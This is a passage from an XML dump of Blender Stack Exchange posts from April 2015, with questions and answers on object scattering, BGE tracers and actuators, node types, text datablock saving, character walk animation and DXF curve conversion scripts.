  <row Id="28533" PostTypeId="1" AcceptedAnswerId="28542" CreationDate="2015-04-15T21:12:38.067" Score="4" ViewCount="3924" Body="&lt;p&gt;Is there a tool (a module or a easy method) to duplicate an object &lt;strong&gt;many times&lt;/strong&gt;, &lt;strong&gt;randomly&lt;/strong&gt; in &lt;strong&gt;delimited zone&lt;/strong&gt; (the inside of a sphere for example) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather like the airbrush tool in a raster graphic editor (illustrated below), but instead of drawing dots, it would duplicate a preselected object : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xz5A4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note : I don't wish to use particles systems to duplicate objects (I need to keep control on positions)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13523" LastActivityDate="2015-04-16T04:09:55.797" Title="Duplicate objects randomly in a delimited zone" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28534" PostTypeId="1" AcceptedAnswerId="28649" CreationDate="2015-04-15T21:13:50.990" Score="4" ViewCount="1512" Body="&lt;p&gt;Is it possible to render a shader generated Texture in Blender Python with a shader ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    texIDinput = inputTex.gl_load()&#xA;    texIDweights = NetData.mWeights.gl_load()&#xA;&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)                  # begin a vertex data list&#xA;    bgl.glVertex2i(0, 0)&#xA;    bgl.glVertex2i(255, 255)&#xA;    bgl.glVertex2i(0, 255)&#xA;    bgl.glEnd()&#xA;&#xA;    bgl.glCopyTexImage2D(texIDweights, 0, bgl.GL_RGBA, 0, 0, NetData.size, NetData.size, 0)&#xA;&#xA;&#xA;    NetData.mWeights.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I dont get Lines on my Texture after running the Script ?&lt;/p&gt;&#xA;" OwnerUserId="13789" LastActivityDate="2015-06-05T14:36:50.267" Title="Rendering to Texture with bgl in Python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28535" PostTypeId="1" AcceptedAnswerId="28541" CreationDate="2015-04-15T21:30:49.347" Score="4" ViewCount="886" Body="&lt;p&gt;I was watching a thing on this &lt;a href=&quot;http://www.blendernation.com/2015/03/31/dust-of-adventure-multiplayer-online-game-bge/&quot; rel=&quot;nofollow&quot;&gt;MMoG&lt;/a&gt; that some German kids made and noticed they had really nice shooting actions. every time one of them shot, a bright white line would appear. How would I recreate this for my game? I don't want to use thousands of textured planes cause my machine isn't that great and I  don't want to blow it up: happened before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I don't really know if that effect is called a tracer, so if someone knows the real name, I'd be happy!&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2016-04-06T10:30:50.370" Title="How can I make a Bullet Tracer in BGE?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28536" PostTypeId="1" CreationDate="2015-04-15T22:52:55.097" Score="5" ViewCount="1533" Body="&lt;p&gt;How do I get started working with nodes and is there a complete list of nodes so I can view them?&lt;/p&gt;&#xA;" OwnerUserId="2025" LastActivityDate="2015-04-15T23:13:47.743" Title="Is there a list of all nodes in blender?" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28537" PostTypeId="1" AcceptedAnswerId="28538" CreationDate="2015-04-15T22:55:01.293" Score="2" ViewCount="3992" Body="&lt;p&gt;I have a scene with a lot of objects which can clutter the outliner very quickly. Is there a shortcut to find the selected object? Basically, if I select an object, I would like to have a shortcut to move my outliner view to include that in the displayed portion of the outliner.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-15T22:56:44.197" Title="Is there a shortcut to find an object in the outliner?" Tags="&lt;shortcut&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-04-16T01:24:21.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="28538" PostTypeId="2" ParentId="28537" CreationDate="2015-04-15T22:56:44.197" Score="6" Body="&lt;p&gt;Hover over the outliner view and press &lt;kbd&gt;Numpad .&lt;/kbd&gt;. This will move the view to show the object that is selected in the viewport. There is no shortcut if you are hovering over another region.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-15T22:56:44.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28539" PostTypeId="1" AcceptedAnswerId="41719" CreationDate="2015-04-15T22:57:27.907" Score="2" ViewCount="236" Body="&lt;p&gt;I'm Trying to make a video using just Text, but I don't know the best way to do this.&lt;br&gt;&#xA;I just want some kind of simple 2D edition also on my computer blenders take too long to render 3D scenes, what would be the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have to create scenes for each group of text I want to show?&lt;/li&gt;&#xA;&lt;li&gt;Or maybe it's better to just use images with text?&lt;/li&gt;&#xA;&lt;li&gt;Or just use one Scene and use keyframes to get text inside and out of a the scene?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13792" LastEditorUserId="13792" LastEditDate="2015-04-16T00:30:24.503" LastActivityDate="2016-02-09T10:51:20.603" Title="Making a Video using only text, correct way to do this?" Tags="&lt;workflow&gt;&lt;video&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="28540" PostTypeId="2" ParentId="28536" CreationDate="2015-04-15T23:00:29.693" Score="5" Body="&lt;p&gt;Yes there is. However the list is much too long for an answer here. I have included a list of all the node types. There are many more nodes under each type classification. Click on the type you want to learn about. Or click the title for the section to view the index on the wiki.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compositor Node Types:&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Inputs&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Output&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Outputs&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Color&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Color&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Vector&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Vector&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Filter&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Filters&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Convertor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Converters&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Matte&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Mattes&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Types/Distort&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Distortion&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Composite_Nodes/Node_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Groups&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types&quot; rel=&quot;nofollow noreferrer&quot;&gt;Material Node Types:&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Input&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Output&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Color&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Color&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Vector&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Vector&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Convertor&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Convertors&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Node_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Groups&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Materials/Nodes/Types/Dynamic&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Dynamic&#xA;(PyNodes)&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As for getting used to working with them, explore and experiment! You will stumble across all sorts of goodies. You can also try an online shading tutorial. Once you get better with nodes, I would suggest you try reaching a specific result, i.e. a Wood material, a Galvanized Steel material, etc.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-15T23:13:47.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28541" PostTypeId="2" ParentId="28535" CreationDate="2015-04-16T02:17:03.107" Score="3" Body="&lt;p&gt;You can do this by having your gun, in addition to firing your bullet, also fire a no-colision plane. this plane scales from 0 to 100 in 100 frames. the gun also shoots a bullet that travels one frame every logic tick. when the animation of your laser is running at one frame for every logic tick, the end result will be a no-colision plane filling the space between the gun and the bullet before impact. In the demo below, I have the bullet invisible. All you can see is the scaling plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dbJOg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your plane scale to get it elongating at a rate of one Blender unit per Logic Tick, use this logic setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BqhCf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to start with a plane, and move the origin to one edge. then move the edge opposite the origin in to make it One blender unit by Two blender units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6cicY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set the timeline to frame 100, and in object mode press &lt;kbd&gt;S&lt;/kbd&gt; to start the scale, press &lt;kbd&gt;X&lt;/kbd&gt; to constrain the scale along the X axis. Press &lt;kbd&gt;100&lt;/kbd&gt; and then press &lt;kbd&gt;Enter&lt;/kbd&gt; this will set the scale so that the demotions will be 100 blender units by 2 blender units. press &lt;kbd&gt;I&lt;/kbd&gt; to set a keyframe, and select &lt;strong&gt;Scale&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MbgJ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will set a keyframe with the scale on frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now do the same thing at frame 0, only this time we need to set the scale along the X axis to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the timeline to frame 0, press &lt;kbd&gt;S&lt;/kbd&gt; to start the scale, press &lt;kbd&gt;X&lt;/kbd&gt; to constrain the scale along the X axis. Press &lt;kbd&gt;0&lt;/kbd&gt; and then press &lt;kbd&gt;Enter&lt;/kbd&gt; this will set the scale so that the demotions will be 0 blender units by 2 blender units. press &lt;kbd&gt;I&lt;/kbd&gt; to set a keyframe, and select &lt;strong&gt;Scale&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have the scale animated from frame 0 to frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if we move the timeline, we can see that the animation is not quite right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4vsvJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can fix this by going into the graph editor and changing the curve type to &lt;em&gt;linear&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1R6Zr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when we test it, we can see that every frame makes the plane scal one blender unit longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oy3kJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-16T02:40:37.067" LastActivityDate="2015-04-16T02:40:37.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28542" PostTypeId="2" ParentId="28533" CreationDate="2015-04-16T03:28:47.517" Score="6" Body="&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/6358/599&quot;&gt;this question&lt;/a&gt; for details on how to setup a particle system for distributing objects inside a shape. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done that, you can convert a particle system to real objects with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; or the &lt;em&gt;convert&lt;/em&gt; button in the modifiers panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ZxFE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;this won't remove the particle system&lt;/strong&gt;, so remember to delete it if you are done with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w37nq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-04-16T04:09:55.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28544" PostTypeId="1" CreationDate="2015-04-16T04:38:08.637" Score="1" ViewCount="133" Body="&lt;p&gt;I have a landscape full of trees which I need to split up before it's able to be imported into a game. The game has a vertex limit for each object at 65k, so I'll need to cut my trees object into over 100 pieces for them to fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to split it using a grid, or some automated method like that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, I've been struggling with this for months already, it's very tedious and time consuming to split the mesh over and over every time I make an edit to the landscape/tree placement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YHv4e.jpg&quot; alt=&quot;Many trees&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13797" LastActivityDate="2015-04-16T04:38:08.637" Title="Split mesh of trees into many parts" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28546" PostTypeId="1" AcceptedAnswerId="28548" CreationDate="2015-04-16T04:52:37.523" Score="4" ViewCount="363" Body="&lt;p&gt;A Text Datablock named &quot;Text&quot; exists. Within a 3D View operator, I'm attempting to generate the dialog for writing this Datablock to a file, where the user can select a folder and choose a filename. In my 3D View operator, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    area_type = bpy.context.area.type&#xA;    bpy.context.area.type = 'TEXT_EDITOR'&#xA;    context.space_data.text = bpy.data.texts[&quot;Text&quot;]&#xA;    bpy.ops.text.save('INVOKE_DEFAULT')&#xA;    bpy.context.area.type = area_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when executing the line &lt;code&gt;bpy.ops.text.save()&lt;/code&gt;, the following error occurs:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;/usr/share/blender/scripts/modules/bpy/ops.py&quot;, line 188, in \_\_call\_\_&#xA;&#xA;ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.text.save.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect I must better specify the context for &lt;code&gt;bpy.ops.text.save&lt;/code&gt;. Any hints, advice, or a solution would be very welcomed. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13799" LastEditorUserId="599" LastEditDate="2015-04-16T05:33:41.630" LastActivityDate="2015-04-17T05:42:17.393" Title="Calling bpy.ops.text.save() from '3D_VIEW' operator execute method" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28547" PostTypeId="1" AcceptedAnswerId="28549" CreationDate="2015-04-16T05:32:24.820" Score="4" ViewCount="1024" Body="&lt;p&gt;I've rigged a character and started animating it, but I've had problems trying to re-use poses after the character has walked around and is facing a different direction (or even the same direction, but after rotating 360&amp;deg;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I parent the rig to an empty and do the rotating/whole character translations with the empty? How will I prevent the feet from sliding around then? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="241" LastEditDate="2015-04-16T10:12:01.263" LastActivityDate="2015-04-16T10:12:01.263" Title="How to animate a character walking around?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28548" PostTypeId="2" ParentId="28546" CreationDate="2015-04-16T06:21:00.133" Score="4" Body="&lt;h3&gt;About 'INVOKE_DEFAULT'  and context override&lt;/h3&gt;&#xA;&lt;p&gt;While you can often override a context &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/info_gotcha.html?highlight=gotcha&quot; rel=&quot;nofollow noreferrer&quot;&gt;not all operators support it&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Examples of &lt;a href=&quot;https://blender.stackexchange.com/search?q=context+override&quot;&gt;context overrides&lt;/a&gt;, in particular this one: &lt;a href=&quot;https://blender.stackexchange.com/a/8444/47&quot;&gt;context override in text editor&lt;/a&gt;, see also &lt;a href=&quot;https://blender.stackexchange.com/a/6105/47&quot;&gt;a more extensive explanation of context overriding&lt;/a&gt;. Avoid doing this whenever possible, there is in this case an alternative.&lt;/p&gt;&#xA;&lt;h3&gt;A more sane alternative.&lt;/h3&gt;&#xA;&lt;p&gt;I recommend that you spawn your own file save dialog - a template for that code exists. See &lt;em&gt;Text Editor &amp;gt; Templates &amp;gt; Python &amp;gt; Operator File Export&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To save a Text Datablock to disk is easy.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;destination = '/home/zeffii/Desktop/file.txt'&#xA;&#xA;text_reference = bpy.data.texts['Text']&#xA;with open(destination, 'w') as outfile:&#xA;    outfile.write(text_reference.as_string())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-17T05:42:17.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28549" PostTypeId="2" ParentId="28547" CreationDate="2015-04-16T07:00:40.793" Score="4" Body="&lt;p&gt;Rigify and MHX use a bone called master. In order to apply poses independently of position and orientation the master bone which must not be added to the poses. &#xA;Parenting the rig to an empty might also work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L68x4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHKq0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the feet start to slide around the walkcycle is too slow for use with the movement. In this case you can select the walkcycles keyframes and scale them until it looks right. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-04-16T07:00:40.793" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28550" PostTypeId="1" CreationDate="2015-04-16T07:35:47.123" Score="4" ViewCount="649" Body="&lt;p&gt;Blender 2.74: When &quot;Use Backdrop&quot; is checked in the VSE, we can see the video clips in the background of the VSE; the clips will adjust to the size of the VSE, they'll be &quot;full frame&quot;. I'm trying to have the display of video clips smaller within the VSE. On this video: &lt;a href=&quot;https://www.youtube.com/watch?v=QnM_UAsLHag&amp;amp;t=3m53s&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=QnM_UAsLHag&amp;amp;t=3m53s&lt;/a&gt; at 3'53, using Blender 2.73, with the shortcut V (background image zoom), he can reduce the size of the clip and move it anywhere he wishes. I haven't manage to select the background image and reduce it's size. Has this feature been removed in 2.74?&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="2843" LastEditDate="2016-01-23T00:47:11.500" LastActivityDate="2016-02-01T12:21:39.853" Title="Zoom Background Image in the VSE" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28551" PostTypeId="1" CreationDate="2015-04-16T07:41:20.373" Score="2" ViewCount="959" Body="&lt;p&gt;I am new to Blender and but working on some simulation which involves Blender Game Engine. I want my mesh to follow a path while in motion. For that I am doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a KX_SteeringActuator &lt;/li&gt;&#xA;&lt;li&gt;configure it on PATHFOLLOWING &lt;/li&gt;&#xA;&lt;li&gt;configure velocity, acceleration, turn speed &lt;/li&gt;&#xA;&lt;li&gt;potentially setting target and navigation mesh (checking selfterminated)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my python script has some code like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;actuators['Steering'].behavior = Path_following&#xA;actuators['Steering'].velocity = 3.000&#xA;actuators['Steering'].acceleration = 3.000&#xA;actuators['Steering'].turnspeed = 120.000&#xA;actuators['Steering'].distance = 1.000&#xA;actuators['Steering'].target = target&#xA;actuators['Steering'].navmesh = navMeshWhole&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I can not figure out how do I activate the above actuator, so that my mesh object starts moving towards the target. I want to have a python controller for the above Actuator. If any one has idea or dealt with similar problem, please guide me. I want to write a python controller to activate this actuator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt; If I have a Keyboard sensor, linked with an And controller which is linked with the above actuator then, if Game Engine started (pressing p in blender), it gives desired behavior on the Keyboard-Sensor key-press. The mesh object navigates towards the target object, following the path. Dont want to use Keyboard sensor and And controller. Thanks a lot !&lt;/p&gt;&#xA;" OwnerUserId="13383" LastEditorUserId="13383" LastEditDate="2015-04-16T07:55:24.033" LastActivityDate="2018-07-01T20:40:25.513" Title="How to write controller to activate Blender Game Engine actuator?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28552" PostTypeId="1" CreationDate="2015-04-16T09:28:33.760" Score="1" ViewCount="487" Body="&lt;p&gt;Im trying to import/export my model into Unreal 4, but when it imports some bones collapse back into the spine bones. Has anyone experienced this problem and does anyone know how to fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included my import/export setting for both blender and unreal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wnis9.png&quot; alt=&quot;Import and Export Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as an image of my model and the problem I am having (circled in red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gkFIT.jpg&quot; alt=&quot;Example of issue&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12869" LastEditorUserId="2607" LastEditDate="2015-07-02T18:04:36.340" LastActivityDate="2015-07-02T18:04:36.340" Title="bones not importing in to unreal engine properly" Tags="&lt;export&gt;&lt;rigging&gt;&lt;bones&gt;&lt;import&gt;&lt;unreal-engine&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28554" PostTypeId="1" CreationDate="2015-04-16T10:03:35.220" Score="2" ViewCount="357" Body="&lt;p&gt;I am writting a script to import a 2D DXF and turn it into 3D.&#xA;I have to convert curves into meshes. I manage to do it in Python console but the same Python code in a script has no effect (no errors and curves are not converted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;# Cleaning the scene&#xA;bpy.ops.object.select_all(action='SELECT')&#xA;bpy.ops.object.delete(use_global=True)&#xA;&#xA;# Importing DXF file&#xA;bpy.ops.import_scene.dxf('INVOKE_DEFAULT') # if i use Blender GUI&#xA;#bpy.ops.import_scene.dxf(filepath=&quot;/home/liquidus88/model.dxf&quot;) #if i do not use Blender GUI (start from terminal)&#xA;&#xA;# Converting curves to meshes&#xA;for obj in scene.objects:&#xA;    scene.objects.active = obj&#xA;    obj.select = True&#xA;    bpy.ops.object.convert(target='MESH')&#xA;    obj.select = False&#xA;&#xA;bpy.ops.wm.save_mainfile()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code work (curves are converted) in these cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I run it in Python console&lt;/li&gt;&#xA;&lt;li&gt;I run it as a script without the Blender GUI (in terminal with &lt;code&gt;blender --background --python script.py&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And does not work (curves are NOT converted) in these cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I run it from Blender text editor with the &quot;Run script&quot; button&lt;/li&gt;&#xA;&lt;li&gt;I convert it as an addon and run it by using the addon&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really need to be able to use this code as an addon, any idea why it does not work in the cases i mentioned above ?&lt;/p&gt;&#xA;" OwnerUserId="13777" LastEditorUserId="13777" 